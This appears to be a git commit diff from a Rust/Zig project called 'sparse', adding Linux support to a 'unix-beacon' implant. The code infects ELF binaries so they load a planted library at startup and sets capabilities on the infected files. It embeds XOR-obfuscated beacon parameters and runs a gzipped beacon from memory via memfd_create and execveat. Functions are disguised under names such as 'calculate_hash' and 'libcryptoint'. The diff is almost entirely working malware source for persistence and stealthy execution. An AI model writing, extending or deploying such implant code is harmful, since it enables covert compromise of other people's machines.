feat: got unix-beacon tested on Linux
This commit is contained in:
parent
90c8b97141
commit
cd2890ee36
1
Cargo.lock
generated
1
Cargo.lock
generated
@ -3267,6 +3267,7 @@ dependencies = [
|
||||
name = "sparse-unix-installer"
|
||||
version = "2.0.0"
|
||||
dependencies = [
|
||||
"hex",
|
||||
"rand 0.9.0",
|
||||
"sparse-actions",
|
||||
"sparse-unix-infector",
|
||||
|
||||
@ -4,7 +4,7 @@ use std::{
|
||||
slice,
|
||||
};
|
||||
|
||||
use sparse_actions::payload_types::Parameters;
|
||||
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||
|
||||
mod elf_types;
|
||||
use elf_types::*;
|
||||
@ -21,19 +21,41 @@ pub const SPARSE_LIBRARY: &'static [u8] =
|
||||
pub fn infect_elf_binary<BP, LP>(
|
||||
binary_path: BP,
|
||||
target_library_path: LP,
|
||||
sparse_parameters: &Parameters,
|
||||
mut sparse_parameters: Vec<u8>,
|
||||
) -> Result<(), Error>
|
||||
where
|
||||
BP: AsRef<Path>,
|
||||
LP: AsRef<Path>,
|
||||
{
|
||||
std::fs::write(&target_library_path, SPARSE_LIBRARY)?;
|
||||
let mut sparse_library = SPARSE_LIBRARY.to_vec();
|
||||
|
||||
for b in sparse_parameters.iter_mut() {
|
||||
*b = *b ^ (XOR_KEY as u8);
|
||||
}
|
||||
|
||||
for i in 0..(sparse_library.len() - sparse_parameters.len()) {
|
||||
if sparse_library[i..(i+256)] == *b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" {
|
||||
sparse_library[i..(i+256)].copy_from_slice(&vec![0; 256]);
|
||||
let tlp = target_library_path
|
||||
.as_ref()
|
||||
.to_str()
|
||||
.expect("invalid path provided for library")
|
||||
.to_owned();
|
||||
sparse_library[i..(i+tlp.len())].copy_from_slice(tlp.as_bytes());
|
||||
}
|
||||
if sparse_library[i..(i + sparse_parameters.len())] == vec![b'B'; sparse_parameters.len()] {
|
||||
sparse_library[i..(i + sparse_parameters.len())].copy_from_slice(&sparse_parameters);
|
||||
}
|
||||
}
|
||||
|
||||
std::fs::write(&target_library_path, sparse_library)?;
|
||||
|
||||
let mut binary = std::fs::OpenOptions::new()
|
||||
.read(true)
|
||||
.write(true)
|
||||
.truncate(false)
|
||||
.open(&binary_path)?;
|
||||
.open(&binary_path)
|
||||
.expect("Could not open binary path for infecting");
|
||||
|
||||
binary.seek(SeekFrom::End(0))?;
|
||||
let end = binary.stream_position()?;
|
||||
@ -49,7 +71,7 @@ where
|
||||
};
|
||||
|
||||
if let ElfIsa::Amd64 = isa {
|
||||
infect_64bit_elf_binary(target_library_path, binary, binary_data, sparse_parameters)?;
|
||||
infect_64bit_elf_binary(target_library_path, binary, binary_data)?;
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
{
|
||||
@ -94,8 +116,11 @@ where
|
||||
.expect("could not convert binary path to string"),
|
||||
)
|
||||
.expect("could not convert binary path to string");
|
||||
|
||||
let current_caps = cap_get_file(path.as_ptr());
|
||||
|
||||
println!("Result of getting caps: {}", errno::errno());
|
||||
|
||||
println!(
|
||||
"Result of setting effective caps: {} (errno: {})",
|
||||
cap_set_flag(
|
||||
@ -153,7 +178,6 @@ fn infect_64bit_elf_binary<LP, F>(
|
||||
library_path: LP,
|
||||
mut binary: F,
|
||||
mut binary_data: Vec<u8>,
|
||||
sparse_parameters: &Parameters,
|
||||
) -> Result<(), Error>
|
||||
where
|
||||
LP: AsRef<Path>,
|
||||
@ -335,11 +359,5 @@ where
|
||||
binary.seek(SeekFrom::Start(0))?;
|
||||
binary.write(&binary_data)?;
|
||||
|
||||
let param_data = &sparse_parameters as *const _ as *const u8;
|
||||
let param_slice =
|
||||
unsafe { slice::from_raw_parts(param_data, std::mem::size_of::<Parameters>()) };
|
||||
|
||||
binary.write(param_slice)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@ -4,6 +4,7 @@ edition = "2024"
|
||||
version.workspace = true
|
||||
|
||||
[dependencies]
|
||||
hex = "0.4.3"
|
||||
rand = "0.9.0"
|
||||
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||
sparse-unix-infector = { version = "2.0.0", path = "../sparse-unix-infector" }
|
||||
|
||||
@ -52,10 +52,10 @@ fn main() -> Result<(), Error> {
|
||||
installer_file.seek(SeekFrom::End(-parameters_size))?;
|
||||
|
||||
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
|
||||
installer_file.read(&mut parameters_buffer)?;
|
||||
installer_file.read_to_end(&mut parameters_buffer)?;
|
||||
|
||||
for b in parameters_buffer.iter_mut() {
|
||||
*b = *b & (XOR_KEY as u8);
|
||||
*b = *b ^ (XOR_KEY as u8);
|
||||
}
|
||||
|
||||
let parameters: &mut Parameters =
|
||||
@ -66,6 +66,11 @@ fn main() -> Result<(), Error> {
|
||||
.try_fill_bytes(&mut identifier)
|
||||
.expect("Could not generate beacon identifier");
|
||||
|
||||
let hex_ident = hex::encode(&identifier);
|
||||
parameters
|
||||
.beacon_identifier
|
||||
.copy_from_slice(&hex_ident.as_bytes());
|
||||
|
||||
let beacon_name = opts.binary_name.as_bytes();
|
||||
parameters.beacon_name[..beacon_name.len()].copy_from_slice(&beacon_name[..]);
|
||||
parameters.beacon_name_length = beacon_name.len() as u16;
|
||||
@ -73,5 +78,9 @@ fn main() -> Result<(), Error> {
|
||||
parameters.delay_seconds_min = opts.delay_seconds_minimum;
|
||||
parameters.delay_seconds_max = opts.delay_seconds_minimum;
|
||||
|
||||
infect_elf_binary(opts.binary, opts.library_path, parameters)
|
||||
std::fs::write("./debug.params-pre", ¶meters_buffer)?;
|
||||
|
||||
infect_elf_binary(opts.binary, opts.library_path, parameters_buffer)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@ -4,9 +4,10 @@ const posix = std.posix;
|
||||
|
||||
const beacon = @embedFile("beacon");
|
||||
|
||||
const Parameters = @cImport({
|
||||
const abi = @cImport({
|
||||
@cInclude("abi.h");
|
||||
}).Parameters;
|
||||
});
|
||||
const Parameters = abi.Parameters;
|
||||
|
||||
const config = @import("config");
|
||||
|
||||
@ -14,7 +15,7 @@ fn open_temp() !std.fs.File {
|
||||
switch (builtin.os.tag) {
|
||||
.linux => {
|
||||
const fd = try posix.memfd_create("", 0);
|
||||
return std.fs.File{ .handle = fd };
|
||||
return std.fs.File{ .handle = @intCast(fd) };
|
||||
},
|
||||
else => {
|
||||
return std.fs.createFileAbsolute("/tmp/libcryptoint", .{ .mode = 0o775 });
|
||||
@ -41,21 +42,35 @@ fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
||||
|
||||
const file_path = switch (builtin.os.tag) {
|
||||
.linux => try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_file.handle}),
|
||||
else => "/tmp/libcryptoint",
|
||||
else => try std.fmt.allocPrint(alloc, "/dev/fd/{d}", .{exe_file.handle}),
|
||||
};
|
||||
|
||||
exe_file.close();
|
||||
const key = (abi.XOR_KEY << 8) | abi.XOR_KEY;
|
||||
const beacon_name_length: usize = @intCast(parameters.beacon_name_length ^ key);
|
||||
|
||||
const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..beacon_name_length]);
|
||||
|
||||
var i: u16 = 0;
|
||||
while (i < beacon_name_length) : (i += 1) {
|
||||
beacon_name[i] ^= @intCast(abi.XOR_KEY);
|
||||
}
|
||||
|
||||
const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..parameters.beacon_name_length]);
|
||||
const file_path_ptr = try alloc.dupeZ(u8, file_path);
|
||||
|
||||
const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null };
|
||||
const envp: [*:null]const ?[*:0]const u8 = &.{null};
|
||||
|
||||
switch (posix.execveZ(file_path_ptr, argv, envp)) {
|
||||
else => |e| {
|
||||
if (builtin.mode == .Debug) {
|
||||
std.debug.print("Internal error performing hash! {s}\n", .{@errorName(e)});
|
||||
switch (builtin.os.tag) {
|
||||
.linux => {
|
||||
_ = std.os.linux.syscall5(.execveat, @intCast(exe_file.handle), @intFromPtr(""), @intFromPtr(argv), @intFromPtr(envp), 0x1000);
|
||||
},
|
||||
else => {
|
||||
switch (posix.execveZ(file_path_ptr, argv, envp)) {
|
||||
else => |e| {
|
||||
if (builtin.mode == .Debug) {
|
||||
std.debug.print("Internal error performing hash! {s}\n", .{@errorName(e)});
|
||||
}
|
||||
},
|
||||
}
|
||||
},
|
||||
}
|
||||
@ -81,12 +96,6 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
||||
if (pid == 0) {
|
||||
if (try posix.fork() == 0) {
|
||||
try exec_beacon(gzipped_exe, parameters);
|
||||
} else if (builtin.os.tag != .linux) {
|
||||
const sem = std.c.sem_open("/libcrypto", 0x200, 0o775, 0);
|
||||
|
||||
_ = std.c.sem_wait(sem);
|
||||
|
||||
posix.unlink("/tmp/libcryptoint") catch {};
|
||||
}
|
||||
posix.exit(0);
|
||||
} else {
|
||||
|
||||
@ -5,32 +5,27 @@ const Parameters = @cImport({
|
||||
@cInclude("abi.h");
|
||||
}).Parameters;
|
||||
|
||||
extern fn hash_internals(parameters: *Parameters) void;
|
||||
extern fn hash_internals(parameters: *const Parameters) void;
|
||||
|
||||
var file_parameters: Parameters = undefined;
|
||||
const file_parameters: [@sizeOf(Parameters) / 2]u16 = blk: {
|
||||
var arr: [@sizeOf(Parameters) / 2]u16 = undefined;
|
||||
for (&arr) |*item| {
|
||||
item.* = ('B' << 8) | 'B';
|
||||
}
|
||||
break :blk arr;
|
||||
};
|
||||
|
||||
fn fill_parameters() !void {
|
||||
const this_file = try std.fs.openSelfExe(std.fs.File.OpenFlags{});
|
||||
const file_with_params: *const [256:0]u8 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
|
||||
|
||||
try this_file.seekFromEnd(@sizeOf(Parameters));
|
||||
|
||||
var param_buffer: [@sizeOf(Parameters)]u8 = undefined;
|
||||
_ = try this_file.reader().read(¶m_buffer);
|
||||
|
||||
@memcpy(@as([*]u8, @ptrCast(&file_parameters)), ¶m_buffer);
|
||||
fn get_parameters() *const Parameters {
|
||||
return @as(*const Parameters, @ptrCast(&file_parameters));
|
||||
}
|
||||
|
||||
export fn calculate_hash() callconv(.C) void {
|
||||
if (dbg) {
|
||||
std.io.getStdOut().writeAll("Loaded!") catch {};
|
||||
std.io.getStdOut().writeAll("Loaded!\n") catch {};
|
||||
}
|
||||
fill_parameters() catch |err| {
|
||||
if (dbg) {
|
||||
std.debug.print("Error calculating hash! {any}", .{err});
|
||||
}
|
||||
return;
|
||||
};
|
||||
hash_internals(&file_parameters);
|
||||
hash_internals(get_parameters());
|
||||
}
|
||||
|
||||
export const init_array: [1]*const fn () callconv(.C) void linksection(".init_array") = .{&calculate_hash};
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user